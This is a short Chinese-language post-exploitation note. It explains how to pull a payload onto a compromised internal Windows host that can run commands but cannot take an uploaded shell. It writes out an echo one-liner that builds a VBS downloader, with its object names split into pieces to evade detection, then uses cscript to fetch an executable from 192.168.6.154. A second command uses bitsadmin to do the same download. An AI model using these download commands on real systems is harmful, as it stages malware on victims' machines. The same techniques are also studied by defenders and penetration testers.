内网windows主机下载payload

当获取到内网一台windows主机时，其不能上传shell，可以执行命令，这时候可以上传或者从我们的服务器上下载payload

1、vbs

#首先先向windows写入一个vbs脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs 

#利用windows自带的cscript执行vbs和脚本下载指定文件到windows指定位置
cscript downfile.vbs http://192.168.6.154/zwish.exe C:/Users/zw/Desktop/target.exe

2、bitsadmin

这是windows自带的工具，Windows xp以后的版本中自带该工具，例如Windows Update程序就依靠它来下载文件，但比较慢

bitsadmin /transfer 111 http://192.168.6.154/index.html C:\Users\zw\Desktop\index.html

#111为任务号